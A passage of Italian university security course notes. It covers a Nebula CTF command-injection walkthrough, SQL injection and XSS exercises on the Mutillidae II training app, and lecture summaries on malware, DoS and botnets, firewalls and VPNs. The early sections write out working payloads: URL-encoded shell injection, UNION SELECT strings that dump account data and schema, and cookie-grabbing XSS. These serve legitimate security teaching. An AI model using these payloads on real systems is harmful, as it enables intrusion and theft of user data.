level07@nebula:/home/flag07$ ./index.cgi "Host=1.1.1.1"
Content-type: text/html
<html><head><title>Ping results</title></head><body><pre>PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.
64 bytes from 1.1.1.1: icmp_req=1 ttl=63 time=15.8 ms
64 bytes from 1.1.1.1: icmp_req=2 ttl=63 time=15.1 ms
64 bytes from 1.1.1.1: icmp_req=3 ttl=63 time=14.3 ms
--- 1.1.1.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2213ms
rtt min/avg/max/mdev = 14.321/15.105/15.853/0.633 ms
</pre></body></html>
```
Lo scopo del gioco è sempre quello di eseguire `/bin/getflag`.
Provando una semplice iniezione locale del tipo
`Host=1.1.1.1; /bin/getflag` non si ottiene nulla. Sembrerebbe che il
comando `/bin/getflag` venga proprio ignorato. Bisogna capire meglio
come Perl interpreta gli argomenti che gli arrivano.
Dal #link("https://metacpan.org/pod/CGI")[manuale di Perl], si scopre
che la funzione `param()` restituisce il 1° elemento se il valore del
parametro è una lista.
In più si scopre anche che il carattere `;` fa da separatore (vedi
sezione `-newstyle_urls`).
`index.cgi` interpreta quindi `Host=1.1.1.1; /bin/getflag` come una
lista di 2 parametri e restituisce soltanto il 1°.
Possiamo provare ad #strong[URL-escapare] i caratteri `;` e `/`:
```
level07@nebula:/home/flag07$ ./index.cgi "Host=1.1.1.1%3B%20%2Fbin%2Fgetflag"
Content-type: text/html
<html><head><title>Ping results</title></head><body><pre>PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.
64 bytes from 1.1.1.1: icmp_req=1 ttl=63 time=15.3 ms
64 bytes from 1.1.1.1: icmp_req=2 ttl=63 time=42.2 ms
64 bytes from 1.1.1.1: icmp_req=3 ttl=63 time=15.0 ms
--- 1.1.1.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 15.017/24.187/42.233/12.761 ms
getflag is executing on a non-flag account, this doesn't count
</pre></body></html>
```
Abbiamo fatto un passo in avanti: `/bin/getflag` ora viene eseguito, ma
non con i permessi di `flag07`.
Idea: finora abbiamo sempre eseguito `index.cgi` da riga di comando.
Cosa succede se invece lo eseguiamo tramite browser (e.g.~`curl`)?
Problema: esiste un servizio che espone `index.cgi`? Risposta:
sembrerebbe di sì a guardare il file `thttpd.conf`:
```
# Specifies an alternate port number to listen on.
port=7007
...
# Specifies what user to switch to after initialization when started as root.
user=flag07
```
Il servizio sembrerebbe anche essere in ascolto:
```
level07@nebula:/home/flag07$ netstat -46 -tln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
...
tcp6 0 0 :::7007 :::* LISTEN
```
Quindi il comando per riuscire nell'attacco è:
```
wget -O- http://localhost:7007/index.cgi?Host=1.1.1.1%3B%20%2Fbin%2Fgetflag
```
== SQL injection
Si parla di SQL injection quando un attaccante è in grado di inserire
uno o più #strong[comandi SQL] manipolando l'input ricevuto
dall'applicazione.
Tipici obiettivi:
- autenticarsi senza avere le credenziali di accesso;
- visualizzare, modificare e/o cancellare dati senza averne diritto
Per capire se un server è vulnerabile a SQLi, si analizzano le risposte
- sia in caso di richiesta legittima, non maliziona;
- sia in caso di richiesta volutamente non legittima (molto spesso i
messaggi d'errore contengono informazioni molto interessanti)
Queste operazioni permettono di eseguire un #strong[service
fingerprinting], ovvero ottenere informazioni sul server (versione, DBMS
utilizzato, ecc.).
Queste operazioni prendono il nome di #strong[fuzz testing] (invio di
richieste anomale con l'obiettivo di scoprire dei
#strong[malfunzionamenti]).
Tecniche base per creare richieste sintatticamente non corrette:
- aggiungere dei #strong[commenti] in modo da tagliare il resto della
query;
- aggiungere una #strong[tautologia] che rende sempre vera la query (es.
`OR 1 = 1`);
- aggiungere un #strong[comando SQL] (es. `; DROP TABLE users`)
=== Mutillidae II - OWASP 2017 \> A1 Injection (SQL) \> SQLi Extract
Data \> User Info (SQL)
Per prima cosa eseguiamo un'operazione di #strong[service
fingerprinting] per capire qual è il DBMS utilizzato.
Primo tentativo: inserire `'--` nel campo Password:
#image("assets/671b7775f75b7c4aa10515e6810342f6.png")
Il DBMS utilizzato è MySQL. In più ci viene mostrata in chiaro la query
che viene eseguita:
```sql
SELECT * FROM accounts WHERE username='asd' AND password=''--'
```
==== Primo tentativo: attacco basato su tautologia
Inserendo il valore `' OR 1=1 --` nel campo Username, possiamo ottenere
l'elenco degli utenti.
Problema: l'SQLi basata su tautologia ha diversi limiti:
- non permette di conoscere la struttura di una query SQL (campi
selezionati e relativo tipo);
- non permette di selezionare altri campi rispetto a quelli usati dalla
query;
- non permette di eseguire comandi arbitrari SQL
==== Secondo tentativo: operatore `UNION`
Con questo operatore possiamo unire il risultato di più query, a patto
che le due query restituiscano lo stesso numero di colonne.
Proviamo quindi ad inserire, in coda alla query eseguita dal server, una
query banale del tipo `SELECT 1`.
Dopo diversi tentativi, scopriamo che la query corretta è
`SELECT 1, 2, 3, 4, 5, 6, 7`, ovvero la tabella `accounts` ha 7 campi.
Per ottenere questo risultato bisogna inserire nel campo Username il
valore `' UNION SELECT 1, 2, 3, 4, 5, 6, 7 --`:
#image("assets/9b9ce5c8c128145e803d8a47b6305ac5.png")
In più scopriamo che il server va poi a stampare il 2°, 3° e 4° campo di
questa tabella.
Possiamo sfruttare quest'informazione per andare più a fondo nel service
fingerprinting, per esempio facendogli stampare: - versione di MySQL; -
utente del DB che esegue la query; - macchina su cui si trova il DBMS
Valore del campo Username:
`' UNION SELECT 1, @@version, CURRENT_USER, @@hostname, 5, 6, 7 --`:
#image("assets/df3ac6050fa5f8da21048df697912dfd.png")
- versione 8.0.30;
- username: `root`;
- hostname: `d9ec5ffcd5a5` (ID del container Docker che esegue il DB)
Ricaviamo poi altre informazioni sulla tabella `accounts`. - come si
chiamano gli altri 4 campi che non vengono mostrati nell'output (1°, 5°,
6° e 7°)?
Dal manuale di MySQL scopriamo che la tabella virtuale `columns` nel DB
`information_schema` contiene informazioni su tutte le colonne delle
varie tabelle.
Query:
```sql
SELECT column_name
FROM information_schema.columns
WHERE table_name = 'accounts'
```
Contenuto del campo di input:
```
' UNION SELECT 1, column_name, 3, 4, 5, 6, 7 FROM information_schema.columns WHERE table_name = 'accounts' --
```
Prossimo step: uso di `concat()` per stampare su un'unica riga
#strong[tutte] le informazioni degli utenti (non solo username, password
e signature).
```sql
SELECT CONCAT(cid, ":", firstname, ":", is_admin, ":", lastname, ":", mysignature, ":", password, ":", username, ":")
FROM accounts
```
Contenuto del campo di input:
```
' UNION SELECT 1, CONCAT(cid, ":", firstname, ":", is_admin, ":", lastname, ":", mysignature, ":", password, ":", username, ":"), 3, 4, 5, 6, 7 FROM accounts --
```
=== Mitigazione: prepared statement
La mitigrazione più potente all'SQLi sono i #strong[prepared statement].
Oltre alla sicurezza, i prepared statement aumentano anche le
#strong[prestazioni] (la query è compilata una sola volta).
== Cross-site scripting (XSS)
Vulnerabilità che coinvolge più entità:
- siti Internet;
- tecnologie web;
- linguaggi di scripting
L'XSS è una delle modalità d'attacco più diffuse (al 3° posto nella top
10 OWASP 2021).
È condotto mediante servizi Web che accettano in input tag HTML di
scripting (es. `<script>`).
L'XSS si distingue di 2 tipologie:
- XSS #strong[reflected]: l'input malevolo proviene dall'utente e viene
utilizzato per generare una pagina dinamica che viene restituita allo
stesso utente. Questa tipologia non prevede la memorizzazione di
informazioni sul sito web vulnerabile;
- XSS #strong[stored]: la pagina malevola è salvata sul server e ciò può
avere effetto su #strong[chiunque] ci finisca sopra
=== XSS reflected
L'attaccante scopre che una pagina HTML accetta in input anche il tag
`<script>` e rispedisce al client una pagina ottenuta eseguendo l'input
ricevuto (incluso quindi lo script). L'attaccante genera quindi una
pagina con uno script JS malevolo ed invia alla vittima l'URL di questa
pagina.
La vittima apre l'URL ed esegue il codice JS malevolo sulla propria
macchina.
=== XSS stored
L'attaccante scopre un modo per caricare file di scripting (es. PHP) sul
server web e scopre che è possibile far eseguire al server gli script
che l'utente stesso ha caricato. L'attaccante quindi carica uno script
malevolo ed invia l'URL di tale pagina alla vittima.
La vittima esegue la pagina malevola col proprio browser, che in questo
caso può contenere sia codice malevolo per il server, sia codice
malevolo per il client.
La causa principale del XSS stored è la mancata validazione #strong[lato
server] del file caricato dall'utente.
L'XSS stored è molto più pericoloso dell'XSS reflected, perché:
- caricando pagine malevoli, l'attaccante sparge varie "mine" per il
sito sulle quali potrebbero finire gli utenti;
- un attacco XSS stored non ha bisogno di usare tecniche di social
engineering per riuscire nello scopo
=== Mutillidae II – OWASP 2017 \> A7 Cross Site Scripting (XSS) \>
Reflected (First Order) \> DNS Lookup
La pagina mostra un form dove l'utente può inserire un hostname o un
indirizzo IP.
Ciò che inserisce l'utente nel form viene stampato nella pagina una
volta eseguito il submit.
Soluzione: inserire `<script>alert("Hello world!")</script>` nel campo
di input.
È possibile sfruttare poi l'XSS per stampare altre cose interessanti
(es. `document.cookie`).
=== Mutillidae II - OWASP 2017 \> A7 Cross Site Scripting (XSS) \>
Persistent (Second Order) \> Add to your blog)
Stessi passi di prima.
Possiamo provare a fare il redirect su un servizio esposto da noi per
effettuare un'operazione di #strong[cookie stealing].
= Lezione 6 - malware, attacchi DoS, botnet
Definizioni:
- #strong[rischio cyber]: probabilità che ha una #strong[minaccia]
(malware) di sfruttare una #strong[vulnerabilità] (software e/o umana)
di una #strong[risorsa] per causare danni all'organizzazione;
- #strong[malware]: malicious software. Qualunque programma software
implementato per scopi malevoli
Nel corso degli anni, si è ridotto il numero di virus con
#strong[intenti distruttivi], ma sono aumentati i #strong[malware
latenti] (ghostware).
Il malware moderno:
- tende a #strong[nascondersi in profondità];
- è difficile da estirpare perché tende a #strong[riprodursi
autonomamente] in diversi posti e formati
== Obiettivi di un malware
- #strong[installarsi] sui dispositivi nel momento in cui si verifica un
determinato evento;
- #strong[mascherarsi], infettando il computer sempre più in profondità;
- #strong[replicarsi] all'interno dello stesso dispositivo o da un
dispositivo all'altro
== Effetti di un malware
Diversi, ed uno non esclude l'altro:
- evidenziarsi in modo manifesto e/o distruttivo (es. ransomware);
- attivarsi in modalità nascosta (es. aprendo una backdoor per poter
fare ulteriori attacchi);
- informare il creatore/diffusore dell'avvenuta installazione nel
momento in cui la macchina vittima si connette ad Internet;
- diffondersi autonomamente attraverso cartelle condivise, contatti,
mailing list, ecc.
== Vettori di infezione
Il 95% dei malware si riceve:
- tramite allegati di email;
- mediante file sharing;
- scaricando programmi infetti
== Tipologie di malware
=== Virus
Programma di #strong[piccole dimensioni] in grado di #strong[replicarsi]
e #strong[diffondersi automaticamente].
=== Trojan
Veicolo usato per diffondere malware. Si tratta di un programma che è
collegato ad un altro file apparentemente innocuo.
L'installazione di un trojan prevede sempre il coinvolgimento
dell'utente, che è convinto mediante tecniche di #strong[social
engineering].
=== Bomba logica
Caratteristica di alcuni malware che si attivano solo dopo un certo
tempo oppure al verificarsi di una certa ricorrenza.
=== Virus polimorfico
Alcuni virus hanno il codice sorgente #strong[cifrato] e lo decifrano
solo in fase di infezione (per poterlo eseguire). Tipicamente la routine
di decifratura è lasciata in chiaro.
Nei virus polimorfici, la routine di decifratura #strong[cambia sempre]
ad ogni nuova infezione, lasciando invariato l'algoritmo. Lo scopo è
quello di non essere rilevati dagli antivirus che riconoscono i malware
tramite la loro #strong[firma].
=== Virus metamorfico
Categoria più sofisticata rispetto ai virus polimorfici. I virus
metamorfici sono in grado di #strong[cambiare completamente] il proprio
codice, sfruttando tecniche avanzate di mascheramento basate su:
- crittografia;
- suddivisione del codice e successivo inserimento in #strong[punti
diversi] all'interno del file infetto (mentre i virus tradizionali di
solito includono il loro codice #strong[in fondo] al file e cambiano
l'#strong[entry point], in modo da eseguire per prima la porzione di
codice malevolo)
I virus metamorfici sono più difficili da rilevare dagli antivirus,
perché non presentano dei #strong[pattern ricorrenti] nel codice a tempo
d'esecuzione.
=== Virus vs worm
- un virus si #strong[aggancia ad altro software]. Non è possibile
eseguire il codice del virus separatamente dal programma che è stato
infettato. I worm invece sono #strong[applicativi a sè stanti];
- tipicamente la diffusione di un virus avviene mediante
l'#strong[inganno dell'utente]. I worm invece sono in grado di
replicarsi autonomamente interagendo con la rete e sfruttando le
vulnerabilità che rilevano
=== Spyware
Malware creato per #strong[spiare] la vittima, tracciandone le attività
ed inviando le informazioni ad un host esterno.
Uno spyware può avere diversi scopi:
- apertamente criminoso (furto di identità/password, ecc.);
- #strong[adware] (raccolta di dati al fine di inviare pubblicità più
mirate);
- punto d'inizio per ulteriori attacchi: le attività della vittima
possono dare informazioni utili all'attaccante per fare ulteriori
attacchi;
- #strong[policeware]: usati dalle forze di polizia per scopi
investigativi. La maggior parte degli antivirus non li blocca;
- parental control
=== Ransomware
Malware che cifrano i dati presenti su una macchina e #strong[chiedono
un riscatto] (ransom) per riavere indietro i propri dati.
I ransomware sono esplosi nel 2016 (vedi #strong[Wannacry]). Ci sono
stati più di 56.000 attacchi nel solo mese di marzo e si stima che oltre
il 50% delle aziende americane siano state colpite da ransomware.
== Attacchi 0-day
Attacchi che sfruttano vulnerabilità #strong[non ancora note] o che non
sono (ancora) state divulgate pubblicamente.
Si tratta di attacchi #strong[molto costosi], sia per chi li fa sia
(soprattutto) per chi li subisce.
Sfruttare una vulnerabilità non ancora nota pubblicamente permette agli
attaccanti di agire indisturbati rispetto ad antivirus, firewall ed IDS.
Il termine "0-day" deriva dalla #strong[warez scene] degli anni '90, in
cui i cracker riuscivano a rilasciare pubblicamente materiale protetto
da copyright lo stesso giorno (o addirittura prima) del rilascio
ufficiale.
== Advanced Persistent Threat (APT)
Tipologia di attacchi che richiedono un #strong[grande investimento
iniziale]. Per questo motivo vengono fatti solo da professionisti del
cybercrime e hanno come target grandi aziende, in quanto possono
garantire un alto ritorno sull'investimento.
Un attacco APT prevede queste fasi:
+ #strong[ricognizione]: gli attaccanti cercano ed identificano le
potenziali vittime, tipicamente sfruttando #strong[informazioni
pubbliche] (es. Google, ecc.), con lo scopo di ottenere dei
#strong[contatti];
+ #strong[intrusione]: gli attaccanti proseguono con diversi tentativi
di #strong[spear-phishing] (phishing diretto solo a persone specifiche
i cui contatti sono stati recuperati precedentemente). Questi attacchi
hanno lo scopo di infettare le macchine e creare una #strong[backdoor]
per gli attaccanti;
+ #strong[recupero delle credenziali]: una volta immessi nella rete, gli
attaccanti cercano di recuperare delle credenziali (tipicamente quelle
di amministratore) con lo scopo di installare ulteriori backdoor in
punti diversi;
+ gli attaccanti installano diverse utility nella rete vittima, con lo
scopo di monitorare le risorse, installare ulteriori backdoor,
recuperare password, ecc.;
+ #strong[furto dei dati]: gli attaccanti cercano di rubare quanti più
dati possibile;
+ #strong[mantenimento della persistenza]: qualora si accorgessero di
essere stati scoperti, gli attaccanti sfruttano diversi metodi per
assicurarsi di non essere buttati fuori dalla rete
== Denial of service (DoS)
Tipologia di attacco che ha lo scopo di impedire alla vittima di
utilizzare una certa risorsa.
La negazione del servizio può essere causata da:
- #strong[volume] dei dati troppo alto, che causa una saturazione delle
risorse;
- #strong[contenuto] dei dati, che può essere appositamente progettato
per sfruttare vulnerabilità
Ogni host connesso in rete è potenzialmente soggetto ad attacchi di tipo
DoS. In molti casi è quasi impossibile evitarli, si possono solo
mitigare i possibili effetti.
Sono attacchi "facili" da fare perché:
- non richiedono di compromettere il sistema attaccato (basta solo
inviargli un grosso quantitativo di dati);
- non richiedono particolari conoscenze
Un attacco DoS può essere:
- #strong[diretto] se è rivolto alla risorsa da rendere indisponibile;
- #strong[indiretto] se rivolto contro una risorsa differente, ma
indispensabile per il target effettiivo (es. attaccare il DB di un
server web anziché il server web stesso)
=== Evoluzione degli attacchi DoS
- seconda metà anni '90: DoS che #strong[sfruttano vulnerabilità] con
pacchetti volutamente malformati;
- fine anni '90: DoS che mirano ad #strong[esaurire le risorse] della
vittima;
- dal 1999: attacchi #strong[indiretti], l'attaccante usa altri host in
rete per raggiungere il suo scopo;
- dal 2000: proliferazione di virus ecc. come base per "conquistare"
altri host. Inizia l'epoca delle #strong[botnet]
=== Esempi di DoS che sfruttano vulnerabilità
==== Ping of Death (1996)
Attacco DoS che sfrutta un bug nel protocollo IP con il quale si
riescono a mandare pacchetti IP più grandi di 64 KB.
+ l'attaccante crea un pacchetto IP di tipo `echo request` (con
dimensione maggiore di 64 KB), lo #strong[frammenta] e lo invia alla
vittima;
+ la vittima inizia ad assemblare i frammenti e va incontro ad un errore
quando la dimensione del pacchetto riassemblato sfora i 64 KB. La
conseguenza può essere un crash del server o un hang (il server rimane
impallato)
Tutti i sistemi operativi dell'epoca erano vulnerabili. Al giorno d'oggi
esistono patch per la risoluzione di queste vulnerabilità già da diverso
tempo.
==== Teardrop
Altro attacco che sfrutta un bug nell'implementazione del protocollo
TCP/IP.
+ l'attaccante invia un pacchetto IP frammentato con alcuni frammenti
#strong[sovrapposti] ad altri;
+ la vittima, in fase di assemblaggio del pacchetto, va incontro ad un
errore
Anche questa vulnerabilità è stata patchata da molto tempo.
==== WinNuke (1996)
Altro attacco ai sistemi Windows che prevede l'invio di un pacchetto OOB
(Out of Band) malformato con bit URG \= 1. Causa il fermo del sistema
che riceve questo pacchetto.
Questo attacco sfrutta una vulnerabilità di NetBIOS, il quale non
controlla la correttezza dei pacchetti Out Of Band ricevuti ma li invia
direttamente al kernel.
==== Land
Altro attacco ai sistemi Windows che consiste nell'invare un pacchetto
TCP SYN con la coppia (IP, porta) sorgnete uguale a quella di
destinazione.
Alla ricezione del pacchetto, il sistema vittima cercherà di aprire una
connessione TCP con sè stesso sulla stessa porta d'invio, causando un
loop infinito.
Per rilevare (e prevenire) questi attacchi è sufficiente filtrare i
pacchetti provenienti da Internet che hanno come IP sorgente un IP della
rete interna.
=== DoS per esaurimento delle risorse
Diverse tipologie:
- #strong[resource starvation]: l'attaccante cerca di #strong[saturare]
una qualche risorsa del sistema (memoria, CPU, ecc.). Se il carico
generato è sufficientemente alto, il sistema vittima diventa
inutilizzabile;
- #strong[bandwidth consumption]: l'attaccante cerca di consumare tutta
la banda della vittima;
- #strong[flooding]: l'attaccante cerca di #strong[inondare di traffico]
la vittima
==== TCP SYN flood
Attacco con cui l'attaccante invia alla vittima tantissimi pacchetti TCP
SYN in maniera tale da non dargli tempo sufficiente per concludere il
3-way-handshake.
Tipicamente l'attaccante fa uso di tecniche di #strong[IP spoofing] per
non essere rintracciato. A causa di ciò, un access list basata sull'IP
sorgente non è una tecnica efficacie di difesa.
Per mitigare i danni, sulla rete vittima è possibile:
- aumentare la dimensione della coda di connessioni;
- diminuire il timeout per il 3-way-handshake
Per evitare invece che una rete venga usata come sorgente dell'attacco,
è necessario implementare un filtro contro l'IP spoofing (#strong[egress
filtering]).
==== Smurf
Attacco che prevede l'invio di pacchetto ICMP `echo request`
all'#strong[indirizzo broadcast] di una rete.
Tutti gli host della rete riceveranno il pacchetto e risponderanno con
un ICMP `echo reply` all'IP sorgente (che è un IP spoofed), causando un
grande traffico:
- in uscita dalla rete vittima (tutti gli host rispondono all'echo
request);
- in entrata sulla rete il cui IP è stato "rubato"
Contromisure:
+ per non essere attaccanti, filtrare in uscita dalla propria rete tutti
i pacchetti ICMP con un indirizzo broadcast come destinazione;
+ per non essere amplificatori, filtrare in ingresso i pacchetti ICMP
con un indirizzo broadcast come destinazione;
+ per non essere vittime, bloccare in ingresso il traffico ICMP echo
reply
==== Fraggle
Variante di Smurf che utilizza pacchetti UDP anziché ICMP.
=== Problemi nella difesa da attacchi DoS
Rintracciare gli attaccanti è molto complicato, perché spesso gli
attacchi DoS partono da reti con strutture #strong[multi-livello]
(attaccante -\> master -\> demoni -\> vittima) e si fa ampio uso di
tecniche di #strong[spoofing].
Gli attacchi DoS per esaurimento delle risorse sfruttano pacchetti con
#strong[sintassi lecita], quindi non possono (e non devono) essere
filtrati dal firewall.
Con questi attacchi si possono saturare le risorse di un
#strong[qualunque host] connesso ad Internet: basta avere un numero
sufficiente di demoni per l'attacco.
=== Esempi storici di attacchi DoS
- Yahoo, 1999. 12 ore di inaccessibilità;
- Amazon, 2000. 10 ore di inaccessibilità;
- Estonia, 2007. Più di una settimana di gravi malfunzionamenti
=== Distributed Denial of Service (DDoS)
Attacchi DoS che prevedono 2 livelli di vittime:
- vittime di II livello: sorgenti che vengono utilizzate per la
generazione del traffico;
- vittime di I livello: coloro ai quali è indirizzato l'attacco DoS
Da vari anni si fa uso di #strong[botnet] per perpetrare questi
attacchi.
Scenario di un attacco DDoS:
+ si individuano dei #strong[computer zombie] sui quali vengono
installati diversi tool di cracking;
+ utilizzando i tool installati, si cercano altri host da compromettere;
+ si crea una rete per l'attacco, composta da uno o più #strong[master]
e da molti #strong[demoni];
+ l'attacco DDoS alla vittima inizia quando l'attaccante invia l'ordine
ai demon tramite il master. Il master deve quindi conoscere
l'#strong[elenco dei demoni] a cui mandare l'ordine di attacco.
==== Reti DDoS famose
- Tribe Flood Network (TFN), 1999;
- DrDos (Distributed reflected DOS): evoluzione di TFN che sfrutta dei
#strong[reflection server] (host in rete che offrono almeno un
servizio TCP), i quali sono delle vittime di II livello. L'attaccante
invia pacchetti TCP SYN con IP spoofato ai reflection server, i quali
risponderanno con un SYN/ACK verso la rete della vittima
==== Memcached
Nel 2018 per amplificare gli attacchi DDoS è stato fatto ampio uso di
sistemi #strong[memcached] malconfigurati.
Memcached è un server con funzioni di caching. Sebbene non sia un
servizio pubblico, 17.000 server esponevano pubblicamente servizi
memcached vulnerabili con protocollo UDP abilitato di default.
L'attacco consisteva nell'invio di richieste a questi server memcached
vulnerabili, utilizzando l'indirizzo UDP della vittima come
pseudo-mittente della chiamata. Questo tipo di spoofing causava una
risposta di dimensioni #strong[esponenzialmente maggiori] rispetto alla
richiesta, dunque era molto efficacie.
=== Botnet
Rete di #strong[computer robotizzati] (zombie) che costituisce un vero e
proprio esercito di computer compromessi.
In alcuni casi la botnet può essere creata allo scopo di
#strong[noleggiarla] ad altri cybercriminali.
==== Creazione della botnet
+ ricerca di sistemi che possano essere compromessi, preferendo quelli
che dispongono di una connessione Internet permanente e con molta
banda;
+ exploit delle vulnerabilità per ottenere l'accesso agli host;
+ sugli host compromessi (che ormai si possono definire dei
#strong[bot]) vengono installati dei software per realizzare attacchi
DDoS;
La botnet viene poi gestita da un centro di #strong[comand e control]
(C&C), realizzato mediante diversi computer distribuiti in comunicazione
tra loro.
==== Scopi di una botnet
- spam;
- DoS;
- scansione e diffusione di malware;
- acquisizione di informazioni
==== Propagazione delle botnet
Le botnet sono prevalentemente "drive-by-download". Sfruttano
vulnerabilità nel browser e/o nei sistemi operativi.
==== Botnet famose
- Storm, 2008. 1,5 milioni di bot;
- #strong[Mirai]: software per la creazione di botnet, ora open source;
- BestBuy;
- vDoS;
- Andromeda
=== Conclusioni
Gli attacchi DoS permettono di esaurire le risorse di un
#strong[qualunque host] connesso ad Internet.
Per l'attacco si utilizzano: - molteplici host zombie (botnet); -
tecniche di IP spoofing; - tecniche di amplificazione del traffico
È difficile rintracciare gli esecutori in quanto l'attacco è condotto
mediante una struttura multilivello: attaccaonte \> master \> demoni \>
vittima.
Soluzioni interne per difendersi da attacchi DoS:
- usare tool per la scansione della rete in grado di rilevare eventuali
host xombie;
- configurazioni opportune di router e firewall
Soluzioni esterne per difendersi da attacchi DoS:
- utilizzare sistemi anti-DoS messi a disposizione dall'ISP;
- utilizzare delle #strong[CDN] (Content Delivery Network), che offrono
tantissimi server sparsi in tutto il mondo a cui redirigere il
traffico. Sono dotate inoltre di molteplici #strong[web application
firewall] per proteggersi da attacchi a livello applicativo
== Cyber warfare - il caso dell'Estonia
Nel maggio del 2007 l'Estonia è stata sotto pesante attacco informatico
per 3 settimane.
In quel periodo l'Estonia aveva fatto notevoli investimenti per dotare
il paese di una buona infrastruttura digitale, includendo anche
e-government e voto elettronico. Il cedimento di questi servizi poteva
costituire un'enorme problema economico per il paese.
L'Estonia ritiene che questo attacco sia stato portato avanti dalla
Russia e che fosse in qualche modo coinvolto il governo russo. Gli
attacchi subiti dall'Estonia infatti non hanno mai cercato di ottenere
un ritorno economico. La Russia ha sempre smentito queste accuse,
rifiutandosi però di collaborare con il governo estone per la ricerca
dei possibili colpevoli.
A seguito dell'attacco è stato sollevato un caso internazionale che ha
coinvolto anche la NATO. Sebbene un cyberattacco non sia mai stato
considerato come un esplicito atto di guerra contro i membri NATO,
l'evoluzione delle tecnologie potrebbe accelerare il processo di
revisione dei principi alla base dell'alleanza.
I tecnici dell'NCSA, l'unità di crisi NATO per il cyber-terrorismo, non
sono riusciti a dimostrare il coinvolgimento della Russia nell'attacco.
TODO: ritornare un po' di più sulla questione storica, Mirai ecc.
= Lezione 7 - sicurezza reti locali
TODO: questa lezione la riassumo molto poco, perché per il 95% è roba
già vista nel corso di protocolli di rete.
Definizioni:
- paradigma #strong[defence in depth]: introdurre la sicurezza in
#strong[tutti] i livelli dello stack TCP/IP;
- #strong[segmentazione]: partizionamento delle risorse;
- #strong[segregazione]: controllo degli accessi alle risorse
== VLAN
Tecnica per segmentare la rete in più segmenti logici.
La creazione di una VLAN corrisponde alla creazione di un nuovo dominio
di collisione.
== NAT e PAT
- NAT: modifica del pacchetto in entrata/uscita per applicare regole di
DNAT/SNAT;
- PAT: modifica del pacchetto in entrata/uscita per cambiare la porta
sorgente/destinazione
== Firewall
Dispositivo di sicurezza che si interpone tra due reti diverse per
controllare e limitare il traffico.
Concetti da ricordare: - default allow vs default deny; - packet filter
(stateful, stateless e stateful con payload inspection), application
gateway; - l'application gateway può essere trasparente (nessuna
necessità di configurare i client) o essere un proxy firewall (i client
devono essere configurati per passare dal firewall)
== Esercitazioni firewall
=== Esercitazione 1
Per l'FTP, ricordarsi il giro: - il client si connette alla porta 21 del
server; - il server, dalla porta 20, si deve connettere alla porta 21
del client
Sul firewall bisogna quindi abilitare il traffico per entrambe le porte.
Sulla porta 20 bisogna usare `--state ESTABLISHED,RELATED` per il server
ed `ESTABLISHED` per il client.
Per configurare il proxy lato client, impostare la variabile d'ambiente
`HTTP_PROXY=<URL proxy>`.
Per configurare il proxy sul server, aggiungere una riga
`Allow <IP>/<netmask>` nel file `/etc/tinyproxy/tinyproxy.conf` e
riavviare il servizio (`/etc/init.d/tinyproxy restart`).
=== Esercitazione 2
Natting ed FTP: - abilitare il #strong[DNAT] per raggiungere la porta 21
da Internet; - abilitare il #strong[SNAT] per consentire il traffico in
uscita dalla porta 20 di ftp
= Lezione 8 - VPN e architetture sicure
== VPN
Tecnica (hardware e/o software) per realizzare una una rete
#strong[privata individuale] utilizzando apparati di trasmissione
#strong[pubblici condivisi].
=== L2-VPN
VPN di livello 2. Separano il traffico a livello 1 o 2.
Possono essere di due tipi:
- #strong[linee dedicate] (es. #strong[CDN], circuito diretto numerico),
ovvero dei #strong[collegamenti fisici punto-punto]
#image("assets/fc13bbe6293742f70eb4c3fad3d46689.png")
- #strong[linee a commutazione di circuito]: collegamento diretto
tramite diversi nodi
#image("assets/cf97e645f0239be8644b7484e17e4c4b.png")
Vantaggi:
- elevata sicurezza, essendo linee dedicate. È molto difficile
intromettersi in una L2-VPN.
Svantaggi:
- molto costose;
- poco flessibili (si pensi al caso del dipendente che viaggia);
- poco scalabili
Nonostante gli svantaggi, le L2-VPN esistono tuttora nei casi in cui la
rete deve essere assolutamente #strong[trusted].
=== IP-VPN
VPN di livello 3. Separano il traffico a livello 3 o superiore.
Si usa Internet come canale di comunicazione e non una linea dedicata.
Sono più flessibili e meno costose rispetto alle L2-VPN. Garantiscono
però meno sicurezza rispetto alle L2-VPN, in quanto le connessioni sono
#strong[virtuali] e non fisiche.
Le IP-VPN sono delle #strong[overlay network], ovvero si
#strong[sovrappongono] alla rete IP già esistente.
Per garantire riservatezza, integrità ed autenticazione si fa uso di
#strong[incapsulamento] (#strong[tunneling]) e #strong[cifratura].
Il tunneling può essere realizzato:
- sopra al livello 3 (#strong[IPSec]);
- sopra al livello 4 (#strong[SSL])
IPSec è considerata una tecnologia rigida, troppo legata ai sistemi
operativi (essendo implementata a livello 3) e difficile da gestire nel
caso di mobilità tra un dipendente in viaggio e la propria azienda.
SSL è quella che garantisce la migliore flessibilità e semplicità di
realizzazione. In particolare, le SSL-VPN, essendo implementate a
livello 4, sono #strong[indipendenti dal sistema operativo].
Le IP-VPN aggiungono un #strong[overhead] alla comunicazione, perché:
- i pacchetti devono essere cifrati;
- l'incapsulamento dei pacchetti produce pacchetti di dimensione
maggiore
== Architetture locali sicure
=== Screening router
Border router che ha funzionalità di #strong[packet filtering]
(tipicamente #strong[statico], per mantenere buone prestazioni).
#image("assets/3139f5094a44178c59fb8b62717273e4.png")
=== Dual-homed gateway
Soluzione single-host dove border router e firewall vengono scorporati
su due host distinti (è comunque considerata single-host perché il
border router non viene considerato).
Il dual-homed gateway di solito implementa funzionalità di filtraggio
più avanzate (es. proxy firewall).
L'host che funge da dual-homed gateway ha sempre due schede di rete:
- una per connettersi alla rete interna;
- una per connettersi al border router
Il dual-homed gateway non consente di gestire più sottoreti con
politiche di sicurezza diverse.
#image("assets/9ad1b66eee4d23bc7aa2b9e207f263da.png")
=== Screened-host gateway
2 componenti:
- #strong[screening router]: attua packet filtering. Blocca:
- in entrata, tutti i pacchetti che non sono diretti al bastion host;
- in uscita, tutti i pacchetti che non provengono dal bastion host
- #strong[bastion host]: implementa logiche di #strong[proxy firewall]
(in questo caso si chiama screened-host gateway) e/o un ulteriore
filtraggio dei pacchetti
Architettura simile al dual-homed gateway, ma in questo caso screening
router e bastion host sono fortemente dipendenti l'uno dall'altro.
Si tratta di un'architettura più costosa e complessa da gestire rispetto
al dual-homed gateway, ma permette una maggiore flessibilità.
#figure(
image("assets/a7427fd27174d5072dea7c3979e3e7cf.png", height: 30%),
caption: [Screened-host gateway]
)
